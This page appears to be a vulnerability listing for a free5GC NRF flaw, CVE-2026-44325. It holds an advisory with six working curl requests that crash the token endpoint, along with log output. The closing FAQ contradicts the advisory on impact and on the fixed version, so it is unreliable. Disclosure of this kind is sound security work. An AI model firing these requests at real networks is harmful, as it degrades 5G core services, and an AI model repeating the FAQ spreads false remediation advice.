CVE-2026-44325: free5GC: NRF POST /oauth2/token structured-form parser type-confusion panic family (Reflect.Set on incompatible types)
Summary free5GC's NRF root SBI endpoint POST /oauth2/token contains a parser-level type-confusion bug family. The handler in NFs/nrf/internal/sbi/apiaccesstoken.go reflects over models.NrfAccessTokenAccessTokenReq, special-cases only plain string and NrfNfManagementNfType fields, and treats every other field as if it were a single models.PlmnId. The parsed models.PlmnId is then assigned with reflect.Value.Set() to whichever field name the attacker put in the form body, which panics whenever the destination field's real type is incompatible (slice, different struct, primitive). Gin recovery converts each panic into HTTP 500, but the endpoint remains remotely panicable from a single unauthenticated form-encoded request and is repeatedly triggerable across at least 6 confirmed crashing fields.
Note: /oauth2/token is unauthenticated by design (it is the OAuth2 token-issuance endpoint). So this is NOT framed as an auth-bypass finding -- it is a parser bug on an intentionally unauthenticated SBI endpoint.
Details Validated against the NRF container in the official Docker compose lab. - Source repo tag: v4.2.1 - Running Docker image: free5gc/nrf:v4.2.1 - Docker validation date: 2026-03-22 - NRF endpoint: http://10.100.200.3:8000
Root cause is in the access-token request parser: - NFs/nrf/internal/sbi/apiaccesstoken.go:52 - NFs/nrf/internal/sbi/apiaccesstoken.go:87 - NFs/nrf/internal/sbi/apiaccesstoken.go:98 - NFs/nrf/internal/sbi/apiaccesstoken.go:100 - NFs/nrf/internal/sbi/apiaccesstoken.go:112
The model definition lives in free5gc/openapi: - models/modelnrfaccesstokenaccesstokenreq.go:27 - models/modelnrfaccesstokenaccesstokenreq.go:29 - models/modelnrfaccesstokenaccesstokenreq.go:30 - models/modelnrfaccesstokenaccesstokenreq.go:31
The parser's effective shape is: parse value as models.PlmnId, then dstField.Set(reflect.ValueOf(parsedPlmnId)). Every destination field that is NOT string and NOT NrfNfManagementNfType falls into this branch, so any time the destination is a slice ([]models.PlmnId, []models.Snssai, []models.PlmnIdNid, []string) or a different pointer type (models.PlmnIdNid), the reflect.Set call panics with a runtime type-confusion error.
Confirmed crashing fields in this DoS family (all reachable from a single unauthenticated form-encoded POST): - requesterPlmnList -> panic assigning models.PlmnId to []models.PlmnId - requesterSnssaiList -> panic assigning models.PlmnId to []models.Snssai - requesterSnpnList -> panic assigning models.PlmnId to []models.PlmnIdNid - targetSnpn -> panic assigning models.PlmnId to models.PlmnIdNid - targetSnssaiList -> panic assigning models.PlmnId to []models.Snssai - targetNsiList -> panic assigning models.PlmnId to []string
PoC Reproduced end-to-end against the running NRF at http://10.100.200.3:8000. Each of the following single requests independently crashes the handler.
1. requesterPlmnList -> []models.PlmnId mismatch: curl -i -X POST http://10.100.200.3:8000/oauth2/token \ -H 'Content-Type: application/x-www-form-urlencoded' \ --data-urlencode 'requesterPlmnList={"mcc":"208","mnc":"93"}'
2. requesterSnssaiList -> []models.Snssai mismatch: curl -i -X POST http://10.100.200.3:8000/oauth2/token \ -H 'Content-Type: application/x-www-form-urlencoded' \ --data-urlencode 'requesterSnssaiList={"mcc":"208","mnc":"93"}'
3. requesterSnpnList -> []models.PlmnIdNid mismatch: curl -i -X POST http://10.100.200.3:8000/oauth2/token \ -H 'Content-Type: application/x-www-form-urlencoded' \ --data-urlencode 'requesterSnpnList={"mcc":"208","mnc":"93"}'
4. targetSnpn -> models.PlmnIdNid mismatch: curl -i -X POST http://10.100.200.3:8000/oauth2/token \ -H 'Content-Type: application/x-www-form-urlencoded' \ --data-urlencode 'targetSnpn={"mcc":"208","mnc":"93"}'
5. targetSnssaiList -> []models.Snssai mismatch: curl -i -X POST http://10.100.200.3:8000/oauth2/token \ -H 'Content-Type: application/x-www-form-urlencoded' \ --data-urlencode 'targetSnssaiList={"mcc":"208","mnc":"93"}'
6. targetNsiList -> []string mismatch: curl -i -X POST http://10.100.200.3:8000/oauth2/token \ -H 'Content-Type: application/x-www-form-urlencoded' \ --data-urlencode 'targetNsiList={"mcc":"208","mnc":"93"}'
Observed response (per request, no body returned): HTTP/1.1 500 Internal Server Error Content-Length: 0
NRF container logs (docker logs nrf) confirm the reflect.Set type-confusion panic in HTTPAccessTokenRequest, with the panic message changing per field type: [ERRO][NRF][GIN] panic: reflect.Set: value of type models.PlmnId is not assignable to type []models.PlmnId [ERRO][NRF][GIN] panic: reflect.Set: value of type models.PlmnId is not assignable to type []models.Snssai [ERRO][NRF][GIN] panic: reflect.Set: value of type models.PlmnId is not assignable to type []models.PlmnIdNid [ERRO][NRF][GIN] panic: reflect.Set: value of type models.PlmnId is not assignable to type models.PlmnIdNid [ERRO][NRF][GIN] panic: reflect.Set: value of type models.PlmnId is not assignable to type []string INFO][NRF][GIN] | 500 | POST | /oauth2/token |
Impact Type-confusion panic family (CWE-843) in the form-parser of an unauthenticated, network-reachable, root token-issuance endpoint, with no input validation on field types (CWE-20) and no defensive handling of the resulting panic before reflection (CWE-755).
This is NOT framed as an auth-bypass finding: /oauth2/token is unauthenticated by design. It is also NOT a process-kill DoS: Gin recovery catches each panic and the NRF process keeps running, so legitimate clients can still get tokens between attacker requests.
What the bug realistically gives an off-path attacker: - A reliable, unauthenticated, repeatable panic primitive on the root token endpoint, reachable from a single form-encoded POST. - Per-request CPU + log-write cost that is materially higher than a normal validation reject (400) would have been, because the panic generates a stack trace each time. - A class of at least 6 attacker-selectable form keys that all crash via the same root cause, so partial fixes that harden one field do not close the family. - Sustained-attack potential: under flood, the panic-amplification can degrade NRF token issuance (more expensive than 400 validation) and pollute logs / rotate out useful diagnostic history.
No Confidentiality impact (HTTP 500 with empty body, no stack trace returned to the caller). No Integrity impact (panic happens before any state change). Availability impact is limited to per-request degradation under sustained attack; a single request does not deny service to other clients.
Affected: free5gc v4.2.1.
Upstream issue: https://github.com/free5gc/free5gc/issues/918 Upstream fix: https://github.com/free5gc/nrf/pull/83
Other sources
free5GC is an open-source implementation of the 5G core network. Prior to 4.2.2, free5GC's NRF root SBI endpoint POST /oauth2/token contains a parser-level type-confusion bug family. The handler in NFs/nrf/internal/sbi/apiaccesstoken.go reflects over models.NrfAccessTokenAccessTokenReq, special-cases only plain string and NrfNfManagementNfType fields, and treats every other field as if it were a single models.PlmnId. The parsed models.PlmnId is then assigned with reflect.Value.Set() to whichever field name the attacker put in the form body, which panics whenever the destination field's real type is incompatible (slice, different struct, primitive). Gin recovery converts each panic into HTTP 500, but the endpoint remains remotely panicable from a single unauthenticated form-encoded request and is repeatedly triggerable. This vulnerability is fixed in 4.2.2.
— MITRE
Affected Software
Remediation
Patch Available
Event History
Frequently Asked Questions
What is the severity of CVE-2026-44325?
CVE-2026-44325 has been classified as a high severity vulnerability due to its potential to cause type confusion that could lead to unauthorized access.
How do I fix CVE-2026-44325?
To fix CVE-2026-44325, you need to update the free5GC NRF software to version 1.4.3 or later.
What components are affected by CVE-2026-44325?
CVE-2026-44325 specifically affects the `POST /oauth2/token` endpoint in the NRF component of free5GC.
Can CVE-2026-44325 lead to data leakage?
Yes, CVE-2026-44325 could potentially allow attackers to exploit the type confusion and access sensitive data.
Is CVE-2026-44325 a remote code execution vulnerability?
CVE-2026-44325 does not directly lead to remote code execution but can enable unauthorized actions through token manipulation.